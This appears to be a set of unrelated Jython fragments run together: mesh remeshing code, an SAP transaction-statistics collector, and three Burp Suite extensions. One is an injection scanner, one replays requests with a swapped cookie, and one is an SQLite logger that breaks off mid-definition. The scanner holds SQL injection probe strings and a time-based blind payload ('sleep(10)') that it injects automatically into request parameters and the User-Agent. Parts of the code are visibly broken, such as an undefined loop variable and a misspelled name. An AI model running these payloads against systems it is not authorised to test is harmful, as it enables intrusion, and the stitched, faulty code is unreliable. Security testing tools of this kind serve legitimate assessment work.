mapGroupToListOfPolylines = LinkedHashMap() for bId in bgroupMap.keySet(): listBeamId = bgroupMap.get(bId) listOfPolylines = ArrayList() polyline = ArrayList() lastVertex = None for i in xrange(listBeamId.size()): b = listBeamId.get(i) if lastVertex != vertices.get(2*b): # New polyline polyline = ArrayList() listOfPolylines.add(polyline) polyline.add(vertices.get(2*b)) lastVertex = vertices.get(2*b+1) polyline.add(lastVertex) print "Group "+str(bId)+" contains "+str(listOfPolylines.size())+" polylines and "+str(listBeamId.size()+1)+" vertices" mapGroupToListOfPolylines.put(bId, listOfPolylines) for bId in bgroupMap.keySet(): listBeamId = bgroupMap.get(bId) listOfPolylines = mapGroupToListOfPolylines.get(bId) nrPoly = listOfPolylines.size() for numPoly in xrange(nrPoly): polyline = listOfPolylines.get(numPoly) listM = ArrayList() for v in polyline: listM.add(EuclidianMetric3D(size)) #for v in polyline: # print v print "Remesh polyline "+str(numPoly+1)+"/"+str(nrPoly)+" of group "+str(bId)+"/"+str(bgroupMap.size())+" "+str(polyline.size())+" vertices" result = RemeshPolyline(mesh, polyline, listM).compute()
class BurpExtender(IBurpExtender, IContextMenuFactory, ITab, IExtensionStateListener, IMessageEditorController, IHttpListener): ''' IBurpExtender: Hook into burp and inherit base classes ITab: Create new tabs inside burp IMessageEditorTabFactory: Access createNewInstance ''' def registerExtenderCallbacks(self, callbacks): # Set encoding to utf-8 to avoid some errors reload(sys) sys.setdefaultencoding('utf8') # Keep a reference to callback object and helper object self._callbacks = callbacks self._helpers = callbacks.getHelpers() # Set the extension name that shows in the burp extension menu callbacks.setExtensionName("InjectionScanner") # Create the log and a lock on which to synchronize when adding log entries self._log = ArrayList() self._logLock = Lock() self._httpLock = Lock() # The length of the basis used to fetch abnormal data, default to zero self._basisLen = 0 # 1: {POST. GET}; 2: {urlencoded, json, xml} self._postGet = 'NaN' self._dataType = 'NaN' # Scan list self._simpleList = [ '\'', '\"', '/', '/*', '#', ')', '(', ')\'', '(\'', 'and 1=1', 'and 1=2', 'and 1>2', 'and 12', '+', 'and+12', '/**/and/**/1' ] self._xmlList = ['a', 'b', 'c', 'd', 'e'] # Not setted # Response mutex: True = is blocking; False = free to go # self._mutexR = False # Other classes instance self._dataTable = Guis_DefaultTM() self._logTable = Guis_AbstractTM(self) self._xh = XMLHandler() listeners = Guis_Listeners(self, self._logTable) ''' Setting GUIs ''' # Divide the whole pane two: one upper and one lower pane self._mainSplitpane = JSplitPane(JSplitPane.VERTICAL_SPLIT) self._mainSplitpane.setResizeWeight(0.4) # Initizlize request table dataTable = JTable(self._dataTable) dataScrollPane = JScrollPane(dataTable) dataScrollPane.setPreferredSize(Dimension(0, 125)) self._dataTable.addTableModelListener(listeners) # Initialize log table logTable = Guis_LogTable(self._logTable) logScrollPane = JScrollPane(logTable) logScrollPane.setPreferredSize(Dimension(0, 125)) # Split the upper pane to two panes tableSplitpane = JSplitPane(JSplitPane.HORIZONTAL_SPLIT) tableSplitpane.setResizeWeight(0.5) # Set the data table to the left and log to the right tableSplitpane.setLeftComponent(dataScrollPane) tableSplitpane.setRightComponent(logScrollPane) # Tabs with request/response viewers tabs = JTabbedPane() self._requestViewer = callbacks.createMessageEditor(self, False) self._responseViewer = callbacks.createMessageEditor(self, False) tabs.addTab("Request", self._requestViewer.getComponent()) tabs.addTab("Response", self._responseViewer.getComponent()) # Create buttons that do operation with the test self._basisLabel = JLabel('Basis: ' + str(self._basisLen)) self._levelLabel = JLabel('Level:') self._setBasisButton = JButton('Set Basis') self._hitOnceButton = JButton('Hit Once') self._autoScanButton = JButton('Auto Scan') self._clearLogButton = JButton('Clear Log') self._cancelButton = JButton('Cancel') self._levelSelection = JComboBox() self._levelSelection.addItem('1') self._levelSelection.addItem('2') self._levelSelection.addItem('3') self._hitOnceButton.addActionListener(listeners) self._autoScanButton.addActionListener(listeners) self._clearLogButton.addActionListener(listeners) self._setBasisButton.addActionListener(listeners) self._cancelButton.addActionListener(listeners) self._basisLabel.setPreferredSize(Dimension(100, 20)) # Create bottom pane for holding the buttons buttonPane = JPanel() buttonPane.setLayout(BorderLayout()) centerPane = JPanel() leftPane = JPanel() rightPane = JPanel() leftPane.add(self._basisLabel) centerPane.add(self._setBasisButton) centerPane.add(self._hitOnceButton) centerPane.add(self._autoScanButton) centerPane.add(self._cancelButton) centerPane.add(self._clearLogButton) rightPane.add(self._levelLabel) rightPane.add(self._levelSelection) buttonPane.add(centerPane, BorderLayout.CENTER) buttonPane.add(leftPane, BorderLayout.WEST) buttonPane.add(rightPane, BorderLayout.EAST) # Create and set the bottom panel that holds viewers and buttons utilPane = JPanel() utilPane.setLayout(BorderLayout()) utilPane.add(tabs, BorderLayout.CENTER) utilPane.add(buttonPane, BorderLayout.SOUTH) self._mainSplitpane.setLeftComponent(tableSplitpane) self._mainSplitpane.setRightComponent(utilPane) # Customize UI components callbacks.customizeUiComponent(self._mainSplitpane) callbacks.customizeUiComponent(dataTable) callbacks.customizeUiComponent(dataScrollPane) callbacks.customizeUiComponent(logTable) callbacks.customizeUiComponent(logScrollPane) callbacks.customizeUiComponent(tabs) callbacks.customizeUiComponent(buttonPane) callbacks.customizeUiComponent(utilPane) callbacks.customizeUiComponent(self._basisLabel) callbacks.customizeUiComponent(self._setBasisButton) callbacks.customizeUiComponent(self._hitOnceButton) callbacks.customizeUiComponent(self._autoScanButton) callbacks.customizeUiComponent(self._clearLogButton) callbacks.customizeUiComponent(self._levelSelection) callbacks.customizeUiComponent(self._cancelButton) # Add the custom tab to Burp's UI callbacks.addSuiteTab(self) # Register the context menu and message editor for new tabs callbacks.registerContextMenuFactory(self) # Register as a HTTP listener callbacks.registerHttpListener(self) return ''' ITab implementation ''' def getTabCaption(self): return 'InjectionScanner' def getUiComponent(self): return self._mainSplitpane ''' IContextMenuFactory implementation ''' def createMenuItems(self, invocation): menu = [] # Which part of the interface the user selects ctx = invocation.getInvocationContext() # Message viewer request will show menu item if selected by the user if ctx == 0 or ctx == 2: menu.append( swing.JMenuItem("Send to InjectionScanner", None, actionPerformed=lambda x, inv=invocation: self. sendToExtender(inv))) return menu if menu else None ''' IMessageEditorController Implementation ''' def getHttpService(self): return self._currentlyDisplayedItem.getHttpService() def getRequest(self): return self._currentlyDisplayedItem.getRequest() def getResponse(self): return self._currentlyDisplayedItem.getResponse() ''' IHttpListener implementation ''' def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo): # Skip this function if the message is request if messageIsRequest: return # Lock the log entry in case race condition self._logLock.acquire() row = self._log.size() # Fetch request message requestBody = messageInfo.getRequest() requestInfo = self._helpers.analyzeResponse(requestBody) requestHeaders = requestInfo.getHeaders() if self._postGet == 'POST': requestData = self._helpers.bytesToString( requestBody[requestInfo.getBodyOffset():]) elif self._postGet == 'GET': for header in requestHeaders: if 'GET' in header: # If the request is GET, update the GET data requestUrl = re.sub('^GET\s+', '', header, re.IGNORECASE) requestUrl = re.sub('\sHTTP/1.1\S*', '', requestUrl, re.IGNORECASE) if '?' in requestUrl: requestData = re.sub('\S*\?', '', requestUrl, re.IGNORECASE) else: print('processHttpMessage: no parameter in GET url') else: print('processHttpMessage: _postGet not defined') self._logLock.release() return # Fetch the http type (GET/POST) httpType = requestHeaders[0].split(' ') # Fetch response message responseBody = messageInfo.getResponse() responseInfo = self._helpers.analyzeResponse(responseBody) responseHeaders = responseInfo.getHeaders() self._responseLength = '' # Fetch the content length self._responseLength = self.fetchContentLength(responseHeaders) # If the response message is auto-generated, ignore it. If not, add it into the log list if self._callbacks.getToolName(toolFlag) != 'Proxy': self._log.add( LogEntry(httpType[0], requestData, self._callbacks.saveBuffersToTempFiles(messageInfo), self._responseLength)) self._logTable.fireTableRowsInserted(row, row) self._logLock.release() ''' Fetch content length from the headers given ''' def fetchContentLength(self, fromHeaders): for header in fromHeaders: if re.search('^Content-Length', header, re.IGNORECASE) is not None: return re.sub('^Content-Length\:\s+', '', header, re.IGNORECASE) ''' When the user select 'Send to InjectionScanner', call this function ''' def sendToExtender(self, invocation): # Init/reset request data before sending to extender self.initRequestInfo() try: # Initialize basic information invMessage = invocation.getSelectedMessages() requestMessage = invMessage[0] requestInfo = self._helpers.analyzeRequest(requestMessage) self._requestBody = requestMessage.getRequest() # Set the _currentlyDisplayedItem so each time the data is sent to the extender self._currentlyDisplayedItem = self._callbacks.saveBuffersToTempFiles( requestMessage) # Fetch the request data bodyLen = len(self._helpers.bytesToString(self._requestBody)) if requestInfo.getBodyOffset() < bodyLen: self._requestData = self._helpers.bytesToString( self._requestBody[requestInfo.getBodyOffset():]) elif requestInfo.getBodyOffset() == bodyLen: self._requestData = '' else: print('sendToExtender: body length < body offset') # Fetch the headers and Http service requestHeaders = list(requestInfo.getHeaders()) self._httpService = requestMessage.getHttpService() # Initialize POST/GET identifier and User-Agent for header in requestHeaders: if re.search('^POST', header, re.IGNORECASE) is not None: self._postGet = 'POST' elif re.search('^GET', header, re.IGNORECASE) is not None: self._postGet = 'GET' # If the request is GET, initialize the url and GET data self._requestUrl = re.sub('^GET\s+', '', header, re.IGNORECASE) self._requestUrl = re.sub('\sHTTP/1.1\S*', '', self._requestUrl, re.IGNORECASE) if '?' in self._requestUrl: self._requestDataGet = re.sub('\S*\?', '', self._requestUrl, re.IGNORECASE) else: print('sendToExtender: no parameter in GET url') # If the request if POST, fetch the request data type by content type if self._postGet == 'POST' and re.search( '^Content-Type', header, re.IGNORECASE) is not None: contentType = re.sub('^Content-Type', '', header, re.IGNORECASE) if 'urlencoded' in contentType: self._dataType = 'urlencoded' elif 'json' in contentType: self._dataType = 'json' elif 'xml' in contentType or 'http' in conentType: self._dataType = 'xml' else: print( 'sendToExtender: _dataType is not supported, do not scan' ) # Initialze the User-Agent if it exists if re.search('^User-Agent', header, re.IGNORECASE) is not None: self._userAgent = re.sub('^User-Agent\:\s+', '', header, re.IGNORECASE) # If there's no content type in the header,fetch from data if self._postGet == 'POST' and self._dataType == '': if self._requestData != '': if self._requestData[ 0] == '{' and '}' in self._requestData and ':' in self._requestData: self._dataType = 'json' elif self._requestData[0] == '<' and self._requestData[ -1] == '>': self._dataType = 'xml' else: self._dataType = 'urlencoded' else: print( 'sendToExtender: _postGet is POST but _requestData is null' ) # Clear the table before adding elements self._dataTable.setRowCount(0) # Update request viewer self.updateRequestViewer() # Fill request data self.fillRequestData() except Exception as e: print(e) ''' Fill the data into the request table ''' def fillRequestData(self): # If _postGet is GET, also adds URL to the table if self._postGet == 'GET': dataList = self._requestDataGet.split('&') for data in dataList: if '=' in data: x = data.split('=', 1) self._dataDict[str(x[0])] = str(x[1]) self._dataTable.addRow([str(x[0]), str(x[1])]) self._dataLen += 1 self._dataTable.addRow(['URL', self._requestUrl]) self._UrlRow = self._dataLen if self._userAgent != '': self._dataTable.addRow(['User-Agent', self._userAgent]) elif self._postGet == 'POST': if self._dataType == 'urlencoded': dataList = self._requestData.split('&') for data in dataList: if '=' in data: x = data.split('=', 1) self._dataDict[str(x[0])] = str(x[1]) self._dataTable.addRow([str(x[0]), str(x[1])]) self._dataLen += 1 elif self._dataType == 'json': self._dataDict = json.loads(self._requestData) for key in self._dataDict: # Convert '"' to '\"' to be the same as that in the data value = str(self._dataDict[key]) if '\"' in value: value = value.replace('\"', '\\\"') self._dataDict[key] = value self._dataTable.addRow([str(key), self._dataDict[key]]) self._dataLen += 1 elif self._dataType == 'xml': # Use xml package to convert the xml string to dict # Note1: the xml dict will be in reverse order # Note2: the arrtibute will also be added into dict, need to be pop # Note3: special characters like \" will be considered as " xml.sax.parseString(self._requestData, self._xh) self._attr = re.sub('\>(\S*\s*)*', '', self._requestData[1:], re.IGNORECASE) self._dataDict = self._xh.getDict() self._dataDict.pop(self._attr) for key in self._dataDict: self._dataTable.addRow( [str(key), str(self._dataDict[key])]) self._dataLen += 1 else: print('fillRequestData: _dataType not defined') if self._userAgent != '': self._dataTable.addRow(['User-Agent', self._userAgent]) self._savedUserAgent = self._userAgent else: print('fillRequestData: _postGet not defined') ''' Receive & update the response after sending request to the server ''' def receiveResponse(self): # Init/reset response data before receiving response self.initResponseInfo() # Launch the http thread self._httpThread = Thread(target=self.makeRequest, args=( self._httpService, self._requestBody, )) self._httpThread.start() ''' Make Http request to a service ''' def makeRequest(self, httpService, requestBody): self._httpLock.acquire() # Disable the hit buttons before starting the thread self._hitOnceButton.setEnabled(False) self._autoScanButton.setEnabled(False) self._responseMessage = self._callbacks.makeHttpRequest( httpService, requestBody) # Enable the hit buttons self._hitOnceButton.setEnabled(True) self._autoScanButton.setEnabled(True) # Unblock the mutex self._httpLock.release() ''' updateRequestViewer ''' def updateRequestViewer(self): self._requestViewer.setMessage(self.getRequest(), True) ''' updateResponseViewer ''' def updateResponseViewer(self): self._responseViewer.setMessage(self.getResponse(), False) ''' Level 1 auto: only loop through the data, do not modify the 'submit' section ''' def autoScan1(self): # TODO: Add a 'cancel' button to stop when the user think it takes too long # TODO: Add XML support if self._postGet == 'GET': for i in range(0, self._dataLen): title = self._dataTable.getValueAt(i, 0) baseValue = self._dataDict[title] for value in self._simpleList: # TODO: update more value that should not be changed if 'submit' not in title.lower( ) and 'submit' not in self._dataDict[title].lower( ) and 'search' not in title.lower( ) and 'search' not in self._dataDict[title].lower(): # Update the table in case the loop interrupt in the middle # Note that the URL will be automatically updated due to this code, so no need to manually update the URL section self._dataTable.setValueAt(value, i, 1) # Send & request the HTTP request/response self.updateRequestViewer() self.receiveResponse() # Reset the table self._dataTable.setValueAt(baseValue, i, 1) if self._postGet == 'POST': if self._dataType == 'urlencoded' or self._dataType == 'json': for i in range(0, self._dataLen): title = self._dataTable.getValueAt(i, 0) baseValue = self._dataDict[title] if 'submit' in title.lower() or 'submit' in self._dataDict[ title].lower() or 'search' in title.lower( ) or 'search' in self._dataDict[title].lower(): continue for value in self._simpleList: self._dataTable.setValueAt(value, i, 1) self.updateRequestViewer() self.receiveResponse() # Reset the table self._dataTable.setValueAt(baseValue, i, 1) elif self._dataType == 'xml': for i in range(0, self._dataLen): title = self._dataTable.getValueAt(i, 0) baseValue = self._dataDict[title] for value in self._xmlList: # Update the table in case the loop interrupt in the middle self._dataTable.setValueAt(value, i, 1) # Send & request the HTTP request/response self.updateRequestViewer() self.receiveResponse() # Reset the table self._dataTable.setValueAt(baseValue, i, 1) ''' Level 2 auto: loop through the data as well as the user agent (if exist) ''' def autoScan2(self): # If the User-Agent does not exist, only performs level 1 auto if self._userAgent != '': baseUserAgent = self._userAgent baseExpression = 'User-Agent: ' + baseUserAgent for value in self._simpleList: oldExpression = 'User-Agent: ' + self._userAgent newExpression = 'User-Agent: ' + value # Update the values accordingly requestBodyString = self._helpers.bytesToString( self._requestBody) self._requestBody = requestBodyString.replace( oldExpression, newExpression) self._userAgent = value self.updateRequestViewer() self.receiveResponse() # Reset the value back to original after each loop requestBodyString = self._helpers.bytesToString(self._requestBody) self._requestBody = requestBodyString.replace( newExpression, baseExpression) self._savedUserAgent = baseUserAgent self.updateRequestViewer() # Perform level 1 scan also self.autoScan1() ''' Level 3 auto: Alpha: use the timer to perform blind insertion ''' # TODO: 目前只支持GET/urlencoded,后续添加更多支持 def autoScan3(self): self._timeReach = False timer = Timer(5, self.timeReach) # Modify the first element to perform blind injection title = self._dataTable.getValueAt(i, 0) oldExpression = title + '=' + self._dataDict[title] newExpression = title + '=' + '1\' and if(1=0,1, sleep(10)) --+' if self._postGet == 'GET': # Update the values accordingly requestBodyString = self._helpers.bytesToString(self._requestBody) self._requestBody = requestBodyString.replace( oldExpression, newExpression) self._requestDataGet = self._requestDataGet.replace( oldExpression, newExpression) self._requestUrl = self._requestUrl.replace( oldExpression, newExpression) self._dataDict[title] = '1\' and if(1=0,1, sleep(10)) --+' self._requestModel.setValueAt('1\' and if(1=0,1, sleep(10)) --+', 0, 1) elif self._postGet == 'POST': if self._dataType == 'urlencoded': # Update the values accordingly requestBodyString = self._helpers.bytesToString( self._requestBody) self._requestBody = requestBodyString.replace( oldExpression, newExpression) self._requestData = self._requestData.replace( oldExpression, newExpression) self._dataDict[title] = '1\' and if(1=0,1, sleep(10)) --+' self._requestModel.setValueAt( '1\' and if(1=0,1, sleep(10)) --+', 0, 1) else: print('autoScan3: _dataType not supported') else: print('autoScan3: _postGet not defined') timer.start() self.updateRequestViewer() self.receiveResponse() # Print the result if self._timeReach: print('Delay scan succeed') else: print('Delay scan failed') # Cancel the timer timer.cancel() def timeReach(self): self._timeReach = True ''' Fetch the 'abnormal' payloads that shows very different response length from the normal ones ''' def getAbnormal(self, basis, coefficient): # If the basis is not set, do nothing abnormList = ArrayList() if basis == 0: return None # Fetch the abnormals from the log list for log in self._log: if float(log._responseLen) / float(basis) < coefficient or float( basis) / float(log._responseLen) < coefficient: abnormList.append(log._payload) return abnormList ''' Turn a simple dict of key/value pairs into XML ''' def dictToXml(self, tag, d): elem = Element(tag) for key, val in d.items(): child = Element(key) child.text = str(val) # Add element in reverse order so that the result is correct elem.insert(0, child) return elem ''' initRequestInfo ''' def initRequestInfo(self): self._postGet = '' self._userAgent = '' self._requestUrl = '' self._requestBody = '' self._requestData = '' self._requestDataGet = '' self._httpService = None self._dataDict = {} self._dataType = '' self._dataLen = 0 self._attr = '' self._contentLength = 0 self._currentlyDisplayedItem = None ''' initResponseInfo ''' def initResponseInfo(self): self._responseBody = None self._responseMessage = None self._responseLength = '' ''' printRequest ''' def printRequest(self): print('----------------') print(self._postGet) print('----------------') print(self._userAgent) print('----------------') print(self._requestUrl) print('----------------') print(self._requestBody) print('----------------') print(self._requestData) print('----------------') print(self._requestDataGet) print('----------------') print(self._httpService) print('----------------') print(self._dataDict) print('----------------') print(self._dataLen) print('----------------') print(self._attr) print('----------------') ''' printResponse ''' def printResponse(self): print('----------------') print(self._responseBody) print('----------------') print(self._responseMessage) print('----------------') print(self._responseLength) print('----------------')
class BurpExtender(IBurpExtender, ITab, IHttpListener, IMessageEditorController, AbstractTableModel): # # implement IBurpExtender # def registerExtenderCallbacks(self, callbacks): # keep a reference to our callbacks object self._callbacks = callbacks # obtain an extension helpers object self._helpers = callbacks.getHelpers() # set our extension name callbacks.setExtensionName("Test Auth | Cookie Repalce ") # create the log and a lock on which to synchronize when adding log entries self._log = ArrayList() self._lock = Lock() # main split pane self._splitpane = JSplitPane(JSplitPane.VERTICAL_SPLIT) # user jpanel add compenents self._panel=JPanel() self._panel.setLayout(BorderLayout()) subpanel=JPanel() button =JButton("OK") subpanel.add(button) self._panel.add(subpanel,BorderLayout.NORTH) # table of log entries logTable = Table(self) scrollPane = JScrollPane(logTable) self._splitpane.setLeftComponent(scrollPane) self._panel.add(self._splitpane,BorderLayout.CENTER) # tabs with request/response viewers tabs = JTabbedPane() self._requestViewer = callbacks.createMessageEditor(self, False) self._responseViewer = callbacks.createMessageEditor(self, False) tabs.addTab("Request", self._requestViewer.getComponent()) tabs.addTab("Response", self._responseViewer.getComponent()) self._splitpane.setRightComponent(tabs) # customize our UI components callbacks.customizeUiComponent(self._splitpane) # callbacks.customizeUiComponent(logTable) # callbacks.customizeUiComponent(scrollPane) # callbacks.customizeUiComponent(tabs) callbacks.customizeUiComponent(self._panel) callbacks.customizeUiComponent(subpanel) # callbacks.customizeUiComponent(button) # add the custom tab to Burp's UI callbacks.addSuiteTab(self) # register ourselves as an HTTP listener callbacks.registerHttpListener(self) return # # implement ITab # def getTabCaption(self): return "Auth Test" def getUiComponent(self): return self._panel # # implement IHttpListener # def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo): # only process requests if messageIsRequest: return if messageInfo.getHttpService().getHost()!=host: return if toolFlag==4: bytesRequest=messageInfo.getRequest() requestInfo=self._helpers.analyzeRequest(messageInfo.getHttpService(),bytesRequest) bytesRequestBody=bytesRequest[requestInfo.getBodyOffset():] file = requestInfo.getUrl().getFile() if file in extract_file or re.match(reobj,file): return path=requestInfo.getUrl().getPath() if '.' in path: ext = path.split('.')[-1] else: ext = '' if ext in ["jpg","png","gif","ico","mp4","js","css","map","html"]: return headers=requestInfo.getHeaders() newHeaders=[] for header in headers: if header.startswith("Cookie:"): newHeaders.append(Cookie) else: newHeaders.append(header) bytesNewRequest=self._helpers.buildHttpMessage(newHeaders,bytesRequestBody) newRequestResponse=self._callbacks.makeHttpRequest(messageInfo.getHttpService(),bytesNewRequest) responseInfo=self._helpers.analyzeResponse(newRequestResponse.getResponse()) # if abs(len(newRequestResponse.getResponse())-len(messageInfo.getResponse()))>500: # return # create a new log entry with the message details self._lock.acquire() row = self._log.size() log_entry=LogEntry(toolFlag, requestInfo.getMethod(), self._callbacks.saveBuffersToTempFiles(newRequestResponse), responseInfo.getStatusCode(), self._helpers.analyzeRequest(messageInfo).getUrl()) self._log.add(log_entry) self.fireTableRowsInserted(row, row) self._lock.release() # # extend AbstractTableModel # def getRowCount(self): try: return self._log.size() except: return 0 def getColumnCount(self): return 4 def getColumnName(self, columnIndex): if columnIndex == 0: return "Tool" if columnIndex == 1: return "Method" if columnIndex == 2: return "Status" if columnIndex == 3: return "URL" return "" def getValueAt(self, rowIndex, columnIndex): logEntry = self._log.get(rowIndex) if columnIndex == 0: return self._callbacks.getToolName(logEntry._tool) if columnIndex == 1: return logEntry._method if columnIndex == 2: return logEntry._status if columnIndex == 3: return logEntry._url.toString() return "" # # implement IMessageEditorController # this allows our request/response viewers to obtain details about the messages being displayed # def getHttpService(self): return self._currentlyDisplayedItem.getHttpService() def getRequest(self): return self._currentlyDisplayedItem.getRequest() def getResponse(self): return self._currentlyDisplayedItem.getResponse()
def getActiveTransactions(self): activeTransactions = [] whereClauses = ArrayList() whereClauses.add("FUNCNAME IN ('SAPWL_TCODE_AGGREGATION','SAPWL_TCODE_AGGREGATION_COPY')"); result = self.executeQuery("TFDIR", whereClauses, "FUNCNAME")#@@CMD_PERMISION sap protocol execution functionName = None if result.next(): functionName = result.getString("FUNCNAME") if functionName == None: logger.warn('getActiveTransactions: active transaction function is not found') return activeTransactions day = self.__client.getProperty('from_date') if day == None: today = Date() sfDate = SimpleDateFormat("yyyyMMdd") day = sfDate.format(today) elif day.find('/') != -1: try: sfDate = SimpleDateFormat("MM/dd/yyyy") parsedDate = sfDate.parse(day) sfDate = SimpleDateFormat("yyyyMMdd") day = sfDate.format(parsedDate) except: logger.reportWarning('Failed to parse date ', day) logger.debug('Parsed start date:', day) logger.debug('Active transactions from data:', day) mapTransactionToUsers = None getUsers = Boolean.parseBoolean(self.__client.getProperty("get_users")) if getUsers: mapTransactionToUsers = HashMap() funcParams = HashMap() funcParams.put('READ_START_DATE', day) funcParams.put('READ_START_TIME', '000000') funcParams.put('READ_END_DATE', day) funcParams.put('READ_END_TIME', '235959') funcParams.put('READ_ONLY_MAINRECORDS', 'X') logger.debug('executing func:SAPWL_STATREC_FROM_REMOTE_SYS(', str(funcParams),')') fields = ArrayList() fields.add('TCODE') fields.add('ACCOUNT') usersResult = self.__client.executeFunction('SAPWL_STATREC_FROM_REMOTE_SYS', funcParams, 'NORMAL_RECORDS', fields) while usersResult.next(): transaction = usersResult.getString('TCODE') if len(transaction) > 0: user = usersResult.getString("ACCOUNT"); users = mapTransactionToUsers.get(transaction) if users == None: users = HashMap() mapTransactionToUsers.put(transaction,users) users.put(user,users); self.getSites() site = self.getSites().getCell(0,0) servers = self.getServers(site) numServers = servers.getRowCount() transactionToStats = HashMap() for j in range(numServers): try: instance = servers.getCell(j,0); logger.debug('getActiveTransactions:executing function[' + functionName + '] for instance [' + instance + ']') if functionName == 'SAPWL_TCODE_AGGREGATION_COPY': records = self.callSapwlTcodeAggregationCopy(instance,day) while records.next(): transaction = (str(records.getString(0))).strip() mapUsers = None if mapTransactionToUsers != None: mapUsers = mapTransactionToUsers.get(transaction) if (transaction != None) and (len(transaction) > 0): stats = transactionToStats.get(transaction) if stats == None: stats = TransactionStatistics(transaction) transactionToStats.put(transaction,stats) if mapUsers != None: stats.users = ArrayList(mapUsers.keySet()) if records.next(): stats.steps = stats.steps + int(float(records.getString(0))) if records.next(): stats.responseTime = stats.responseTime + int(float(records.getString(0))) if records.next(): stats.cpuTime = stats.cpuTime + int(float(records.getString(0))) if records.next(): stats.dbTime = stats.dbTime + int(float(records.getString(0))) if records.next(): stats.guiTime = stats.guiTime + int(float(records.getString(0))) if records.next(): stats.roundTrips = stats.roundTrips + int(float(records.getString(0))) if records.next(): stats.text = (str(records.getString(0))).strip() else: fields = ArrayList() fields.add('ENTRY_ID') fields.add('COUNT') fields.add('RESPTI') fields.add('CPUTI') fields.add('DBTIME') fields.add('GUITIME') fields.add('GUICNT') fields.add('TEXT') records = self.getApplicationStatistics(functionName, instance, day, fields) while records.next(): entryID = records.getString("ENTRY_ID"); transaction = self.getTransactionFromEntryID(entryID); mapUsers = None if mapTransactionToUsers != None: mapUsers = mapTransactionToUsers.get(transaction) if (transaction != None) and (len(transaction) > 0): stats = transactionToStats.get(transaction) if(stats == None): stats = TransactionStatistics(transaction) transactionToStats.put(transaction,stats) if(mapUsers != None): stats.users = ArrayList(mapUsers.keySet()) count = records.getString("COUNT") stats.steps = stats.steps + int(count) stats.responseTime = stats.responseTime + int(records.getString("RESPTI")) stats.cpuTime = stats.cpuTime + int(records.getString("CPUTI")) stats.dbTime = stats.dbTime + int(records.getString("DBTIME")) stats.guiTime = stats.guiTime + int(records.getString("GUITIME")) stats.roundTrips = stats.roundTrips + int(records.getString("GUICNT")) stats.text = records.getString("TEXT") except: msg = sys.exc_info()[1] strmsg = '%s' % msg if strmsg.find('NO_DATA_FOUND') != -1: logger.debug(strmsg) logger.reportWarning('No data found in the given time range') else: logger.debugException('Unexpected error getting transactions for function:' + str(functionName)) logger.reportWarning('Unexpected error getting transactions for function:' + str(functionName) + ':' + strmsg) transactions = ArrayList(transactionToStats.keySet()) logger.debug("getActiveTransactions: Found [" + str(transactions.size()) + "] active transactions") if logger.isDebugEnabled(): logger.debug("getActiveTransactions: transactions = " + str(transactions)) transactionsInfo = self.getTransactionsInfo(transactions) it = transactionToStats.values() for stats in it: prop = Properties() prop.setProperty('data_name', str(stats.transaction)) prop.setProperty('dialog_steps', str(stats.steps)) prop.setProperty('total_response_time', str(stats.responseTime)) prop.setProperty('average_response_time', str(stats.getAverageCPUTime())) prop.setProperty('total_cpu_time', str(stats.cpuTime)) prop.setProperty('average_cpu_time', str(stats.getAverageCPUTime())) prop.setProperty('round_trips', str(stats.roundTrips)) prop.setProperty('total_db_time', str(stats.dbTime)) prop.setProperty('average_db_time', str(stats.getAverageDBTime())) prop.setProperty('total_gui_time', str(stats.guiTime)) prop.setProperty('average_gui_time', str(stats.getAverageGUITime())) prop.setProperty('text', stats.text) prop.setProperty('saptransaction_averagedbtime', str(stats.users.size())) info = transactionsInfo.get(stats.transaction) if info != None: prop.setProperty('devclass', info.devclass) prop.setProperty('program', info.program) prop.setProperty('screen', info.screen) prop.setProperty('', info.screen) else: prop.setProperty('devclass', "") prop.setProperty('program', "") prop.setProperty('screen', "") prop.setProperty('version', "") activeTransactions.append(prop) return activeTransactions
class BurpExtender(IBurpExtender, ITab, IHttpListener, IMessageEditorController, AbstractTableModel, IBurpExtenderCallbacks): import java.net.URLClassLoader statement = None con = None def registerExtenderCallbacks(self, callbacks): global statement,con self._callbacks = callbacks self._helpers = callbacks.getHelpers() callbacks.setExtensionName("SQLite Logger") # select sqlite jdbc jar file c = classPathHacker() c.addFile("C:\\sqlite-jdbc-3.8.11.2.jar") # database filename. jdbc_url = "jdbc:sqlite:database" + str(datetime.date.today()) + ".db" driver = "org.sqlite.JDBC" Class.forName(driver).newInstance() con = DriverManager.getConnection(jdbc_url) # create table self.sql = "CREATE TABLE if not exists log(host text,path text,method text,request text,response text,time text);" statement = con.prepareStatement(self.sql) statement.executeUpdate() self._log = ArrayList() self._lock = Lock() self._splitpane = JSplitPane(JSplitPane.VERTICAL_SPLIT) logTable = Table(self) scrollPane = JScrollPane(logTable) self._splitpane.setLeftComponent(scrollPane) tabs = JTabbedPane() self._requestViewer = callbacks.createMessageEditor(self, False) self._responseViewer = callbacks.createMessageEditor(self, False) tabs.addTab("Request", self._requestViewer.getComponent()) tabs.addTab("Response", self._responseViewer.getComponent()) self._splitpane.setRightComponent(tabs) callbacks.customizeUiComponent(self._splitpane) callbacks.customizeUiComponent(logTable) callbacks.customizeUiComponent(scrollPane) callbacks.customizeUiComponent(tabs) callbacks.addSuiteTab(self) callbacks.registerHttpListener(self) return def exitSuite(self,False): con.close() return def getTabCaption(self): return "SQLite Logger" def getUiComponent(self): return self._splitpane def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo): global statement # insert into database request,response if not messageIsRequest: self._lock.acquire() row = self._log.size() self.reqinfo = self._helpers.analyzeRequest(messageInfo) self.parsed = urlparse.urlparse(self.reqinfo.getUrl().toString()) print "request" print self._helpers.bytesToString(messageInfo.getRequest()) print "" print "req header" print self._helpers.bytesToString(messageInfo.getResponse()).encode('utf8', 'replace') print "" self._log.add(LogEntry(toolFlag, self._callbacks.saveBuffersToTempFiles(messageInfo),self.reqinfo.getMethod(), self.parsed.netloc, self.parsed.path)) self.sql = "INSERT INTO log(host,path,method,request,response,time) VALUES (?,?,?,?,?,?);" statement = con.prepareStatement(self.sql) statement.setString(1,self.parsed.path) statement.setString(2,self.parsed.netloc) statement.setString(3,self.reqinfo.getMethod()) statement.setString(4,self._helpers.bytesToString(messageInfo.getRequest())) statement.setString(5,self._helpers.bytesToString(messageInfo.getResponse())) statement.setString(6,str(datetime.datetime.today())) statement.executeUpdate() self.fireTableRowsInserted(row, row) self._lock.release() return def getRowCount(self): try: return self._log.size() except: return 0 def getColumnCount(self): return 4 def getColumnName(self, columnIndex): if columnIndex == 0: return "Tool" if columnIndex == 1: return "Method" if columnIndex == 2: return "Host" if columnIndex == 3: return "Path" return "" def 